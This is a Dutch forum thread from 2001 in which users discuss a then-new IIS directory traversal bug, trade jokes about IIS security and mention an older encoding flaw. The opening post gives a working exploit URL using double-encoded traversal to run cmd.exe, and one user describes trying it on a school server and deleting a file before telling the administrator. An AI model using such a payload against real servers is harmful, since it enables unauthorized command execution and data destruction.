[BC3] Nieuwe exploit

[Verwijderd]

/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\

Misschien naar Unix overstappen ipv NT met IIS?

[wouzer]

Neh joh, hoeft niet. Ik heb uit zeer betrouwbare bronnen vernomen dat dit de laatste bug in IIS is voor de komende 4 jaar.

[Verwijderd]

LOL

Heb dit inderdaad ook wel eens voorbij zien komen in m''n apache logs...geweldig

[Verwijderd]

nou hij werkt anders voor geen meter op mijn IIS speelbakje op me werk

(NT4.0 Enterprise SP6a + IIS4.0)

[JayTaph]

Wel GOED je securityinfo doorlezen hoor...

[jep]

Erg nieuw ja, een maand of 3?

[RG]

Op woensdag 16 mei 2001 19:09 schreef tweakerrrr het volgende:
Misschien naar Unix overstappen ipv NT met IIS?

Ja duh! Dit is toch een retorische vraag of niet? (ook een retorische vraag )

[JayTaph]

>Erg nieuw ja, een maand of 3?

Nee, dit is alweer een andere :-)
Ik zag em vandaag ook staan op securityinfo, maar der zaten wat ristricties aan geloof ik maar dat moet ik eventjes nakijken.. IIS interesseert me niet zoveel (tenzij je van gatenkaas houdt)..

[serkoon]

di''s dus weer anders dan %c0%af? Dombo''s ..

oeps, dat was een flame!

[Verwijderd]

Hallo? Dit BLIJFT een Non-Windows OS forum? Ik zie niet in wat IIS te maken heeft met Non-Windows OS''s, maar goed, misschien kan me dat nog even haarfijn uitgelegd worden

<edit> #%@#%& </edit>

[JayTaph]

IIS draait toch ook op solaris, of was dat alleen explorer?

[Jordi]

Dit mag dan weinig met Non-Windows OS''en te maken hebben... uit statistieken blijkt dat dit soort dingen erg geliefd zijn bij ''ons''...

[ACM]

Op woensdag 16 mei 2001 23:14 schreef Jotti het volgende:
Dit mag dan weinig met Non-Windows OS''en te maken hebben... uit statistieken blijkt dat dit soort dingen erg geliefd zijn bij ''ons''...

En hoe zou dat toch komen

[jep]

Op woensdag 16 mei 2001 22:59 schreef JayTaph het volgende:
>Erg nieuw ja, een maand of 3?

Nee, dit is alweer een andere :-)
Ik zag em vandaag ook staan op securityinfo, maar der zaten wat ristricties aan geloof ik maar dat moet ik eventjes nakijken.. IIS interesseert me niet zoveel (tenzij je van gatenkaas houdt)..

Mwoah.. het is mijn hobby, ik turf de bugs

Snap zowieso niet dat mensen het gebruiken, zeker niet omdat ze denken dat het veilig is

[jep]

This bug is a huge one.. trust me on that..

[flat]

ja, dat ''dir'' commando kan je dus door allerlei commando''s vervangen, die heel wat minder onschuldig zijn.
ik zat er gisteren op school ff mee te spelen, en iemand zei: "kan je nou ook wat deleten?" "nee," zei ik "zo stom zullen ze toch niet zijn?!" dus ik proberen met iets in de temp, weer een keer ''dir'' en weg wassie. toen ben ik toch maar even naar de systeembeheerder gelopen...

[Verwijderd]

mmmm, handige feature

If we can''t add, we can''t innovate

[ralfbosz]

Op woensdag 16 mei 2001 23:12 schreef JayTaph het volgende:
IIS draait toch ook op solaris, of was dat alleen explorer?

Er is een explorer op Solaris, maar dat is geen Browser. Dat is een (vooral voor Sun) handig tooltje om informatie over een Solaris bak te verzamelen.